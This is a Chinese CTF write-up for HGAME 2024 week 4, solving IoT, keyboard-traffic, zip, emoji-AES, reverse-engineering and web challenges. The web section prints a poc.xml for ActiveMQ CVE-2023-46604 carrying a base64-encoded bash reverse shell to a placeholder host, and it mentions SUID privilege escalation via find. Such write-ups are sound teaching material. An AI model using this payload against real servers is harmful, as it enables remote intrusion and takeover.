HGAME 2024 WEEK4 WP


想念21和22年的平台和week4的 6557225

IOT

ez7621

拿到固件直接binwalk解,之后grep出hgame

在这里插入图片描述

usr/lib/opkg/info/kmod-flag.control找到这个,问了一下GPT,在lib/modules目录下寻找一番

在这里插入图片描述

在这里插入图片描述

拉到IDA里,找到一串字符串

在这里插入图片描述

xor爆破一下

在这里插入图片描述

MISC

ezKeyboard

哥们被骗了哥们一直在想为什么有两个下划线以为题或者flag出错了(因为maybezip的flag在第一天就是错的)

看见有一血了打完游戏后来看发现不对

这道题单纯多一个点就是第5个字节也被用上了,这代表同时被按下,例如010000391c

当时跑的脚本是这样的交不上

在这里插入图片描述

后来自己测试的时候发现如果长按Cap键会一直出现这个情况:
在这里插入图片描述

因此事实上在判断是否真按下CAP的时候不应该以是否为\x39作为标志,脚本就不贴了github有,主要就是注意到像上面提到的01 00 00 39 1c就是取1c

在这道题中,想把010000391c理解为取大写的Y,不过仔细想了一下发现仅仅是因为这道题正好碰巧是大写的Y,后面的都字符每次在用的时候都被再CAP小写掉了。

按道理来讲如果后面再出现字符无法判断大小写,毕竟如果目前是大写状态下无需按下CAP就可以直接大写,因此想法是只能通过上面那张图的标志,并且可以发现在长按cap的时候这个标志会无限生成,实际上写脚本判断应该考虑这个标志过后出现正常的按键流量代表松开了cap(此题即一直出现这条set report直到出现下一条01 00 00 39 00时才代表松开cap键,只不过这里正好每次就出现了一组,如果长按的话是这样的情况:

在这里插入图片描述

总之flag是

hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}

Maybezip

在这里插入图片描述

¿¿¿¿

拿到附件,根据提示和查看hex值,可以知道是异或了0x27

在这里插入图片描述

使用010的工具–十六进制运算–二进制异或–无符号字节hex 0x27

在这里插入图片描述

得到的是加密的压缩包,里面有118张图片和一个secret.txt,用7z打开看了下时间貌似一致,CRC也不同,尝试rockyou爆破和1-8位纯数字爆破无果,猜测跟时间有关,用010看了一下

在这里插入图片描述

果然时间是不同的,那么写个脚本提取

import zipfile
zip_path = 'maybezip.zip'

with zipfile.ZipFile(zip_path, 'r') as zip:
    for info in zip.infolist():
        # print(info.filename)
        print(info.date_time)

在这里插入图片描述

得到密码为what_is_tupper

解压得到secert.txt,提示了tupper

在这里插入图片描述
义眼丁真得到micro qr code,不过直接扫没扫出来,手动取了一下01值转图片

在这里插入图片描述
在这里插入图片描述

根据格式,flag应该是hgame{Matryo5hk4_d01l}

a few moments later

接上集,哥们看见出一血马上拿起手机交了,不出意外flag是正确的

在这里插入图片描述

**Mondrian’s 🔑

提示是key is 🔑,那么就把🔑作为密码

在这里插入图片描述

看到开头四个符号和最后一个本子,锁定emoji-aes

在这里插入图片描述

能够解出来,不过貌似得先拿到hex

这里直接用以前写的burst_emoji_aes脚本稍微改一下来解,改脚本的main函数

在这里插入图片描述

能够发现开头仍然不是\x89,而是\xef\xbf\xbd,不过其他的例如\x1a这些都是正确的,应该是大于0x80的都显示\xef\xbf\xbd?

在这里插入图片描述

RE

change

在这里插入图片描述

v5取byte_7FF65B918000

13 0A 5D 1C 0E 08 23 06 0B 4B 38 22 0D 1C 48 0C 66 15 48 1B 0D 0E 10 4F

上面还有个am2qasl,鄙人猜测的是xor

在这里插入图片描述

接着

s = b'rgomo{OgfyIC~p)aTd)hao}}'
s1 = b'hgame{'
for i in range(len(s1)):
    print(s[i]-s1[i])

10,0,14,0,10,0

以为就这样循环就行了,结果不对,于是考虑动调,在上面那个地方下断点,哥们看不懂这个程序于是一个个爆

由于知道13 0A 5D 1C 0E 08 23 06 0B 4B 38 22 0D 1C 48 0C 66 15 48 1B 0D 0E 10 4F,并且知道关系是类似rot,长度24

哥们输入的是hgame{aaaaaaaaaaaaaaaaa},这个长度24,结果出来看v8不对劲,于是乎慢慢来测

手动测出来hgame{ugly_Cpp_,后面就不对了

在这里插入图片描述

再用上面的脚本测了一下,观察到10,0,14,0,10,0,-38,0,-6,0,-22,0,14,0,-54,

由此可以知道flag的雏形是hgame{ugly_Cpp_a?d?h?o?}

然后现在只剩下0C 66 15 48 1B 0D 0E 10 4F

想不出来有什么单词,让我搜搜看看能不能想到

在这里插入图片描述

ugly_cpp_and_h?o?

正好手里有单词本,让我看看

在这里插入图片描述

hook

在这里插入图片描述

hgame{ugly_Cpp_and_hook}

web

Reverse and Escalation.

看到那么多人做了这个web,猜测是复现cve

一个要登录,一个是显示ActiveMQ,搜一下ActiveMQ CVE,搜到CVE-2023-46604

于是去找CVE的exp相关用法

就是在自己的vps上写上poc.xml,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX2lwL3lvdXJfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后使用工具:CVE-2023-46604

在这里插入图片描述

在这里插入图片描述

接着根目录cat flag显示权限不足,尝试suid提权

在这里插入图片描述

看到有find就知道稳了

在这里插入图片描述

  • 29
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值